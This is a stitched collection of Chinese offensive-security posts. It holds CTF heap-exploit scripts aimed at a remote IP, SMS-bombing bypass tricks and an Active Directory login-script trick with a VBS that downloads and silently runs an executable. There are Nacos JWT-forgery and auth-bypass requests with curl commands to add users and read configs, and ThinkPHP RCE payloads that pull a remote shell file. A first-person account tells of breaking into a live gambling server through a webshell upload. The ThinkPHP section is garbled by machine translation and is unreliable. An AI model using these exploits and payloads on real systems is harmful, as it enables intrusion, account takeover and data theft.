    write(b"b"*0x248 + b"b"*(8*4-i)) 
write(b"b"*0x248 + b"b"*8*3)                                   # 0

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*3-i)) 
write(b"b"*0x248 + b"b"*8*2 + p8(0x4f) + p8(0x45) + p8(0x40))  # pop_rdx_ret = 0x000000000040454F

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*2-i)) 
write(b"b"*0x248 + b"b"*8*1 + p8(0x6f) + p8(0xa3) + p8(0x81))  # binsh = 0x81a36f

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*1-i)) 
write(b"b"*0x248 + p8(0x82) + p8(0x49) + p8(0x40))   # pop_rdi_ret = 0x0000000000404982

p = pwn()
p.username = b"admin"
p.password = b"admin"
sd = p.SerializeToString()
# dbg()
# time.sleep(5)
sa("Login:", sd + b"\x00" + b"/bin/sh\x00")



ia()

01fcd7e2-39fa-4c23-8e7d-0c609c4b1139



5.queue

队列结构体

struct elem

{

  _QWORD buf_array_ptr;

  _QWORD sub_buf_max;

  _QWORD pBuffStart;

  _QWORD a3;

  _QWORD pBuffLast;

  char **sub_bufs;

  _QWORD pBuffEnd;

  _QWORD a7;

  _QWORD a8;

  _QWORD sub_buf_last;

};

666功能可以直接修改结构体

伪造结构体再通过其他功能可以实现任意地址读写

首先需要泄露一个地址

覆盖pBuffStart, 爆破一个十六进制位到有堆地址的地方

泄露堆地址

然后申请几个再free填tcache, 在堆上制造libc地址

构造结构体pBuffStart指向含libc地址处

泄露libc地址

然后伪造结构体在__free_hook处

用程序edit单字节循环写入

exp:

from pwn import *

from colorama import Fore

from colorama import Style

import inspect

from argparse import ArgumentParser

parser = ArgumentParser()

parser.add_argument("--elf", default="./queue")

parser.add_argument("--libc", default="./libc-2.27.so")

parser.add_argument("--arch", default="amd64")

parser.add_argument("--remote")

args = parser.parse_args()

 

context(arch=args.arch,log_level='debug')

 

def retrieve_name(var):

    callers_local_vars = inspect.currentframe().f_back.f_back.f_locals.items()

    return [var_name for var_name, var_val in callers_local_vars if var_val is var]

def logvar(var):

    log.debug(f'{Fore.RED}{retrieve_name(var)[0]} : {var:#x}{Style.RESET_ALL}')

    return

script = ''

def rbt_bpt(offset):

    global script

    script += f'b * $rebase({offset:#x})\n'

def bpt(addr):

    global script

    script += f'b * {addr:#x}\n'

def dbg():

    gdb.attach(sh,script)

    pause()

 

prompt = b'Queue Management: '

def cmd(choice):

    sh.sendlineafter(prompt,str(choice).encode())

 

def add(size):

    cmd(1)

    sh.sendlineafter(b'Size: ',str(size).encode())

    return

def edit(buf_id,idx,val):

    cmd(2)

    sh.sendlineafter(b'Index: ',str(buf_id).encode())

    sh.sendlineafter(b'Value idx: ',str(idx).encode())

    sh.sendlineafter(b'Value: ',str(val).encode())

    return

def show(buf_id,num):

    cmd(3)

    sh.sendlineafter(b'Index: ',str(buf_id).encode())

    sh.sendlineafter(b'Num: ',str(num).encode())

    return

def dele():

    cmd(4)

    return

def backdoor(buf_id,ctt):

    cmd(666)

    sh.sendlineafter(b'Index: ',str(buf_id).encode())

    sh.sendafter(b'Content: ',ctt)

    return

 

def edit_qword(buf_id,off,val):

    for i in range(8):

        byte = val & 0xff

        edit(buf_id,off+i,byte)

        val >>= 8

 

rbt_bpt(0x1688)

rbt_bpt(0x16b5) 

 

def leak_num():

    val = 0

    sh.recvuntil(b'Content: ')

    for i in range(8):

        num = int(sh.recvline().strip(),16)

        val |= num << (8*i)

    return val

 

def pwn():

    add(0x100)

    backdoor(0,p64(0)*2 + b'\x88\x5e')

    show(0,0x8)

    heap_addr = leak_num()

    if heap_addr == 0:

        raise EOFError

    for i in range(5):

        add(0x100)

    for i in range(4):

        dele()

    backdoor(0,p64(0)*2 + p64(heap_addr + 0x1a50)*2)

    show(0,0x8)

    libc_base = leak_num() - 0x3ebca0

    logvar(heap_addr)

    logvar(libc_base)

 

    edit_qword(1,0,u64(b'/bin/sh\x00'))

    libc = ELF(args.libc,checksec=False)

    libc.address = libc_base

    payload = flat([

        0,

        0,

        libc.sym['__free_hook'],

        libc.sym['__free_hook'],

        libc.sym['__free_hook']+0x200,

        heap_addr,

        libc.sym['__free_hook']+0x200,

        libc.sym['__free_hook']+0x200,

        libc.sym['__free_hook']+0x200,

        heap_addr+8

    ])

    backdoor(0,payload)

    edit_qword(0,0,libc.sym['system'])

    # dbg()

    dele()

 

    

while True:

    try:

        # sh = process([args.elf])

        sh = remote('39.106.13.71' ,'31586')

        pwn()

        sh.interactive()

    except EOFError:

        sh.close()




6.leak

flag被读到了一个堆块上,限制了申请堆块的个数,只能十六个,没有限制uaf的使用次数,可以改大Global_Max_Fast,造成fastbinY数组溢出,我们可以向write_base和write_ptr上写入堆地址,满足条件:write_ptr>write_base即可,利用公式size=((target_addr-(main_arena+8)/8)0x10+0x20),就可以算出需要的size,最后exit,打印出flag即可。from pwn import io = process("./leak")elf = ELF("./leak")libc = ELF("./libc-2.27.so")
context.arch = "amd64"context.log_level = "debug"
def add(idx,size):    io.sendlineafter("Your choice: ", "1")    io.sendlineafter("Index: ", str(idx))    io.sendlineafter("Size: ", str(size))
def edit(idx, content):    io.sendlineafter("Your choice: ", "2")    io.sendlineafter("Index: ", str(idx))    io.sendafter("Content: ", content)
def delete(idx):    io.sendlineafter("Your choice: ", "3")    io.sendlineafter("Index: ", str(idx))
add(0, 0x14b0)add(1, 0x14c0)add(2, 0x430)add(3, 0x90)add(4, 0x90)add(5, 0x90)add(9, 0xa0)add(10, 0xa0)
delete(5)delete(4)delete(3)
edit(3, p16(0x9c30))  # tcache fd -> unsorted bin chunkdelete(2)edit(2, p16(0xf940))  # fd -> global_max_fast
add(6, 0x90)add(7, 0x90)
add(8, 0x90)edit(8, p64(0xdeadbee0))  # global_max_fast -> 0xdeadbeef
delete(0)
edit(2, p16(0xe840))  # tcache fd -> unsorted chunk
delete(10)delete(9)
edit(9, p16(0x9c30))  # fd-> stderr
add(11, 0xa0)add(12, 0xa0)
add(13, 0xa0)  # stderradd(14,0xa0)# change stderr
edit(14, p64(0xfbad1887) + p64(0) * 3 + p8(0x50))#io.interactive()
#add(14, 0x14d0)#add(15, 0x500)delete(1)
io.sendlineafter("Your choice: ", "6")io.interactive()
:hexoPostRenderEscape–>



祥云杯附件下载:链接:https://pan.baidu.com/s/1W2euTjOK_qOMZLh8lTJf2w   提取码:7zp2
参考连接地址: https://exp10it.cn/2022/10/2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup/#ezjava
http://www.snowywar.top/?p=4077
https://www.cnblogs.com/S1gMa/p/16846438.htm

https://mp.weixin.qq.com/s/j7wjaV-sIo-3VjTz0xOCRQhttps://www.cnblogs.com/winmt/articles/16842913.htmlhttps://www.woodwhale.top/archives/2022xiangyunhttps://su-team.cn/passages/2022-xyb-SU-Writeup/





来自为知笔记(Wiz)

在测试甲方业务或者挖 SRC 等业务的时候,经常碰到发送短信验证的地方,我们可以联想到的就是任意用户登陆、短信轰炸、任意用户修改密码等逻辑性的漏洞, 简单的漏洞也是需要清晰的思维分析,拿几个短信轰炸多个绕过案例分享,高危挖不动低危拿来凑。
1. 参数污染绕过
参数污染,就是说后台发送短信的时候会取数字那部分,当你混入其他字符之后绕过了对已经发送的手机号码的限制的校验:nkenvbvhmcc14122.jpg2. 变量污染绕过
所谓变量污染呢, 大概因为后台校验了第一个变量的内容都当成了值处理,但是当数据包在传递到后台过去的时候,如果参数名是一样的时候,是会以第二个、第三个、第四个…最后那个参数为基准去传递,因此绕过了后台的限制njyobezzqof14123.jpgocklkeisrsf14124.jpg

3. 数据长度绕过
手机号码的定义是 11 位数,但是后台没有对传递的手机号码做校验长度,比如123=0123=00123,通过该方法来进行一个手机号码的绕过: 【狗的一个漏洞】5nbjsrecjlq14126.jpg【找不到图片了】

4. 修改变量参数绕过
比较常见就是发送验证码的时候前端带入一个状态,通过修改这个状态可以来绕过系统的限制,如已注册的用户不能发送短信或者相反未注册的用户不能发送短信
Flase 改成 truehq5lak4qmdn14127.jpg


5. Cookie 替换绕过
换汤不换药,校验用户的凭证放在了 cookie 中,通过修改 cookie 中的某些参数可以打到绕过对以发送/已注册的手机号码进行发送短信:dy5sc53kmx214128.jpgyxk0ypxtrfr14129.jpg
6. 【空格绕过短信轰炸】【无图】
发送短信的时候是 11 位数,但是数据库没有限制字段长度为 11,通过添加空格绕过了原有的校验,但是后台发送号码的时候,取有效字符前面的字段,导致了出现被绕过的方法。

7. 【验证码可复用导致短信轰炸漏洞】【无图】
在吃了用户名爆破或者密码爆破漏洞亏之后,加入了验证码的校验,但是验证码在发送的时候抓包不放行, 验证码不会失效,引起的短信轰炸漏洞。
8. 【基于 API 接口绕过】 【无图】
这一个漏洞的话, 一般是前台输入手机号码, 发送请求 1 到后台判断是否可以执行发送请求
2, 否的话返回 
False 或者 error, 成功的话返回一个 true 或者 success, 只要找到返回的这
个接口, 说不定也可以找到这种漏洞。

HireHackking

登录脚本下发

0x1、利用场景

当获取到域控权限或domain admin等高权限时,想横向到域内PC主机上对方开启了防火墙,无法通过445、135进行横向利用,可以通过登录脚本绑定的方式获取目标主机权限。

0x2、利用方法

方法一、powershell win2012及以上自带,获取当前域用户信息

Get-ADUser -Filter * -Properties * | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\Users\Public\Documents\user.csv -Encoding utf8

绑定指定用户

Set-ADUser -Identity zhangsan -ScriptPath "download.vbs"

解绑

Set-ADUser -Identity zhangsan -ScriptPath " "

方法二、利用dsmod进行绑定

 dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com"

解绑

dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com"

刷新组策略

shell gpupdate /force

VBS内容

strFileURL = "http://192.168.172.129:82/logo.ico"strHDLocation = "C:\Users\Public\Documents\ChsIME.exe"Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open "GET", strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type = 1 'adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0'Set the stream position to the startSet objFSO = Createobject("Scripting.FileSystemObject")If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = NothingstrComputer = "."set ws=wscript.createobject("wscript.shell")val=ws.run ("C:\Users\Public\Documents\ChsIME.exe",0) 

上传至dc c:\windows\SYSVOL\sysvol\redteam.com\SCRIPTS\目录下,通过方法一或方法二进行绑定后刷新组策略即可



 https://www.cnblogs.com/websecyw/p/16657762.html


HireHackking

漏洞总结复现

 Nacos漏洞总结复现



一、Nacos默认key导致权限绕过登陆

0x00 漏洞描述

Nacos中发现影响Nacos <= 2.1.0的问题,Nacos用户使用默认JWT密钥导致未授权访问漏洞。 通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户

0x01 漏洞影响

0.1.0 <= Nacos <= 2.2.0

0x02 漏洞搜索

fofa:app="NACOS"

0x03 漏洞复现

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:

image.png

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

 1.获取token

利用该默认key可进行jwt构造,直接进入后台,构造方法:
在https://jwt.io/中:输入默认key:

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再payload里面输入:

{

  "sub": "nacos",

  "exp": 1678899909

}

在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:

image.png

image.png

注意:

以下是伪造JWT值绕过权限的测试结果

1、延长时间戳,POST 密码错误,用户名正确

2、延长时间戳,POST 密码错误,用户名错误

3、删除时间戳,POST 密码错误,用户名错误

复制上面得到的值,在burp里面选择登录之后构造:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

image.png

方框里面需要自行添加:

POST /nacos/v1/auth/users/login HTTP/1.1

Host: 10.211.55.5:8848

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: http://10.211.55.5:8848

Connection: close

Referer: http://10.211.55.5:8848/nacos/index.html

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s


username=crowsec&password=crowsec

此时就得到了token信息:

HTTP/1.1 200 

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

Content-Security-Policy: script-src 'self'

Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

Content-Type: application/json

Date: Wed, 15 Mar 2023 14:13:22 GMT

Connection: close

Content-Length: 197


{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}


此时就得到了nacos的token信息。

2.利用获取token登录后台

如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截:
image.png

这肯定进不去的,在这里修改返回包,右键看下这个:

image.png

然后Forward,这边返回的信息肯定是无效的:

image.png

在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:

image.png

再forward一次:
image.png

此时就已经进去了:

image.png

3.使用默认密钥生成的JWT查看当前用户名和密码
GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s&pageNo=1&pageSize=9 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Connection: close
If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
Upgrade-Insecure-Requests: 1
accessToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s


4.利用默认密钥,添加hellonacos用户密码为hellonacos,创建成功

POST /nacos/v1/auth/users HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7sAccept-Encoding: gzip, deflate Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMTContent-Type: application/x-www-form-urlencodedContent-Length: 39
username=hellonacos&password=hellonacos


二、Nacos默认配置未授权访问漏洞

http://10.10.84.207:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
http://your_ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9
p0fccr4edvt14174.jpg2yfzm2swjxi14176.jpg


三、 Nacos2.2.0权限绕过

Header中添加serverIdentity: security能直接绕过身份验证查看用户列表
pbbjhp3b5ph14178.jpg如果没有或者不对应则返回403cwq1ypjc0yf14182.jpg

四、Nacos1.x.x版本User-Agent权限绕过((CVE-2021-29441)

0x01 漏洞描述

在 1.4.1 及更早版本的 Nacos 中,当配置为使用身份验证 (Dnacos.core.auth.enabled=true) 时,会使用 AuthFilter servlet 过滤器来强制实施身份验证,从而跳过身份验证检查。此机制依赖于用户代理 HTTP 标头,因此很容易被欺骗。此问题可能允许任何用户在 Nacos 服务器上执行任何管理任务。

0x02 环境搭建

docker run -d -p 8848:8848 hglight/cve-2021-29441

0x03 漏洞影响

Nacos <= 1.4.1

0x04 漏洞复现

1.修改User-Agent的值为Nacos-Server到请求包中,加Header头后访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9可以看到返回值为200,且内容中是否包含pageItemsGET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server

或者使用命令访问:读取用户密码:curl  'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=' -H 'User-Agent: Nacos-Server'curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server'
curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'未授权添加用户curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server任意用户密码更改curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'读取配置文件curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’
添加Header头后使用POST方式请求http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户,账号密码都为vulhubPOST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1 Host: 192.168.246.138:8848 User-Agent: Nacos-Server或者POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.31.64:8848Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Nacos-ServerAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 27
username=hglight&password=hglight

再次查看用户列表,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

GET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server
访问http://IP:8848/nacos使用新建用户登录,此时表示漏洞利用成功















今天在浏览网页时突然发现了一个菠菜站,网站截图我就不发了

都说菠菜站做的比较安全不容易渗透,今天闲来无事就搞了一下。结果只是扫一下端口我的ip都被ban了。这就有点难过了,只能挂代理再看看。

浏览发现这个站应该不是菠菜主站,而是类似一个办理各种活动的旁站。并且在其中一个活动弹窗中发现了惊喜

图片[1]-渗透进入菠菜服务器(实战)-可能资源网

这里居然可以上传sfz,那不意味着可能存在文件上传漏洞吗?在信息搜集的时候知道了这个服务器是IIS7.5的

图片[2]-渗透进入菠菜服务器(实战)-可能资源网

前段时间刚好复习了解析漏洞,所以就试一试是否存在该漏洞

图片[3]-渗透进入菠菜服务器(实战)-可能资源网

将php的大马做成图片马进行上传

图片[4]-渗透进入菠菜服务器(实战)-可能资源网

从响应结果来看上传成功了,并且还返回了地址。接着就来访问一下

图片[5]-渗透进入菠菜服务器(实战)-可能资源网

可以看到确实解析成功了,但是遗憾的是不能正常使用。所以接着直接将php大马的后缀改为jpg进行上传

图片[6]-渗透进入菠菜服务器(实战)-可能资源网

再次访问发现可以正常使用了,进去一看居然里面还有很多人的个人信息和转账截图。不得不说菠菜害人啊。

图片[7]-渗透进入菠菜服务器(实战)-可能资源网

既然有了webshell了,那么就先看看当前的权限吧

图片[8]-渗透进入菠菜服务器(实战)-可能资源网

真是难搞额,又一次碰到了低权限。先不考虑提权,继续看看有没有其他敏感文件可利用的。在各种目录下翻找半天终于找到了数据库的配置文件,显示如下

图片[9]-渗透进入菠菜服务器(实战)-可能资源网

赶紧连接数据库看看

图片[10]-渗透进入菠菜服务器(实战)-可能资源网

发现了疑似管理员的账户和密码,试了试这个是能够解密出来的,运气还不错

图片[11]-渗透进入菠菜服务器(实战)-可能资源网

接下来就登录后台看看

图片[12]-渗透进入菠菜服务器(实战)-可能资源网
图片[13]-渗透进入菠菜服务器(实战)-可能资源网

结果大失所望,原本以为会有各种用户的信息和资金流之类的。都到了这一步了,只能继续了。就在一边苦逼想思路怎么提权一边感叹菠菜站确实不是浪得虚名的时候,居然在某个文件夹下面发现了服务器的资料文件

图片[14]-渗透进入菠菜服务器(实战)-可能资源网

注意看这个文件名——“服务器资料”。可真是瞌睡了有人送枕头。从这里知道这个站应该是基于宝塔搭建的,并账户和密码都给出来了,太贴心了。尝试登陆上去看看

图片[15]-渗透进入菠菜服务器(实战)-可能资源网
图片[16]-渗透进入菠菜服务器(实战)-可能资源网

如图,几个数据库里面就记录着很多罪恶的金钱交易。具体就不放出来了。

在宝塔上还看到管理员将3389端口改成了19283。结合前面文件里面给出了服务器账户和密码,登陆上看看

图片[17]-渗透进入菠菜服务器(实战)-可能资源网

通过一顿折腾发现这个服务器下面放了三个关于菠菜的站点,功能还各不相同。一个是主站,一个是办理活动的,还有一个是抢红包的。可真是丰富多彩啊。


转载于原文链接:

https://www.kngzs.cn/1705.html


本文不能追溯到安全团队官方帐户的来源

0x01简介

我使用ThinkPhp v5.0。*框架和调试模式启用了该网站。我认为可以通过发送有效载荷来解决它,但是我没想到要完成它的过程。

0x02触摸坑

尝试执行命令,系统受到限制

1.png

尝试包括日志文件,open_basedir限制

2.png

这是一个想法,您可以在运行时包含日志文件,但是ThinkPHP的日志文件相对较大,有时会有许多奇怪的问题阻止代码执行。让我们将其作为替代方案。

3.png

尝试通过在thinkphp本身库中设置会话方法,然后将其写入TMP目录中的会话文件,然后包含它

1_method=__ constructFilter []=Think \ Session \ Session:SetMethod=GetServer [request_method]=? phpinfo();

4.png

俗话说,

0x03 getshell

,三名鹅卵石是一个Zhuge Liang,在向大师赛寻求帮助后,他们提供了解决方案。

诺埃尔大师的解决方案和分析:

5.png

call_user_func存在于request.php的filterValue函数下。根据有效负载,该过程已被跟踪。

首先,您将输入app.php的运行方法

12345678911112131415161719202122222222222255PUBLIC静态函数运行(请求$请求$ request=null){……………………………………………………………………………………………………………………当前课程以获取调度信息。如果您在索引模块下的索引控制器中访问索引方法,则$ dispatch=array(2){['type']=字符串(6)'模块'['module'['module']=array(3){[0]=string(5)=string(5)'index'[1]=string(5)=(5)'index'index'index'[2]=string(5)'index'indect==} self:Routecheck($ request,$ config); } //记录当前的调度信息中检索到的计划信息,即模块,控制器和方法名称存储在请求类$ request-request-dispatch($ dispatch)的调度属性中; //记录路由和请求信息。该模式可在\ application \ config.php参数app_debug中配置,if(self: $ debug){log3:333:record('[oute route]'。 log:record('[header]'。var_export($ request-header(),true),'info'); log:record('[param]'。var_export($ request-param(),true),'info'); }………………………………}在这里,我们主要关注两个函数Routecheck和param,首先查看Routecheck

12345678PUBLIC静态函数RouteCheck($ request,array $ config){$ path=$ request-path(); $ dep=$ config ['pathinfo_depr']; $结果=false; ………………………………………………………………………………………………………………………………//Route detection (return different URL scheduling according to the route definition) $result=Route:check($request, $path, $depr, $config['url_domain_deploy']);它主要通过请求参数传递,并且在检查后基本上对所有内容进行了处理。

6.png

启用调试模式后,您可以输入param函数

1234567if(empty($ this-param)){$ method=$ this-method(true); $ this-param=array_merge($ this-get(false),$ vars,$ this-route(false));} return $ this-pution($ this-param,$ name,$ name,$ default,$ default,$ filter);跟进输入功能

1234567891011公共功能输入($ data=[],$ name='',$ default=null,$ filter=''){. $ filter=$ this-getFilter($ filter,$ filter,$ default);如果(is_array($ data)){array_walk_recursive($ data,[$ this,'filterValue'],$ filter);重置($ data); } else {$ this-filtervalue($ data,$ name,$ filter); } getFilter取出过滤器的值,这是断言

array_walk_recursive

array_walk_recursive()函数将用户定义的函数应用于数组中的每个元素。在函数中,数组的密钥名称和键值是参数。此函数和array_walk()函数之间的区别在于它可以操纵更深的数组(一个数组包含另一个数组)。

并将filterValue函数应用于$数据的每个元素,然后跟进filterValue

12345678功能滤波器($ value,$ key,$ efferters){. if(is_callable($ filter)){//调用函数或滤波$ values $ value $ value=call_user_func($ filter,$ filter,$ value); } ...} Master Gunmeng的解决方案和分析:

有效载荷参考:

来自:https://xz.aliyun.com/t/3570#toc-4

1http://127.0.0.1/index.php?s=index/think/think/invokefunctionfunction=call_user_func_arrayvars [0]

1https://127.0.0.1/?s=./\ think \ app/InvokeFunctionFunction=call_user_func_arrayvars [0]=assertvars [1] []=phpinfo()=phpinfo()

1https://127.0.0.1/?s=./\ think \ app/invokefunctionfunctionfunction=call_user_func_arrayvars [0]=assertvars [1]=copy('http://127.0.0.0.0.0.1.1/shell.txt'1/shell.txt',考虑到当前的目录情况和分析:

7.png

Route.PHP的parseurl功能将处理URL

1234567 PRIVATE静态函数parseurl($ url,$ dep='/',$ autoSearch=false){. $ url=str_replace($ dep,'|',$ url);列表($ path,$ var)=self:parseurlpath($ url);}首先用|在URL中替换/然后帕尔塞尔路径将URL分开

123456789111121314151617PRIVATE静态函数parseurlPath($ url){//定界列表替换确保路由定义使用统一的定义者$ url=str_replace('|'|',','/'/'/',$ url); $ url=trim($ url,'/'); $ var=[]; if(false!==strpos($ url,'?')){..} elseif(strpos($ url,'/'')){//[module/controler/controler/operation] $ path=exploit('/',',$ url); } else {.} return [$ path,$ var]; }获取以下三个部分

8.png

loder.php下的parsename函数当模块加载时

1234567891011 PUBLIC静态函数parsename($ name,$ type=0,$ ucfirst=true){if($ type){$ name=preg_replace_callback('/_/_([a-za-za-z])返回$ ucfirst? ucfirst($ name): lcfirst($ name); } else {return strtolower(trim(preg_replace('/[a-z]/','_ \\ 0',$ name),'_''_')); }} 9.png

现在\ think \ app类将被实例化,并将执行InvokeFunction方法

10.png

因此,添加的原因./\是您可以进一步向前跳来跳去

0x04旁路disable_functions

视图禁用

11.png

我没有在开始时仔细看残疾的内容,所以我只是使用了

https://github.com/yangyangwithnu/bypass_disablefunc_via_ld_preload

但是发现Putenv被禁用了

12.png

通过本文更改方法

https://Mochazz.github.io/2018/09/27/%E6%B8%9M97%E9%E9%80%80%80%8F%E6%B5%B5%8B%E8B%E8%AF;

我了解到使用PCNTL扩展名,确认系统支持

13.png

最后,该命令成功执行

14.png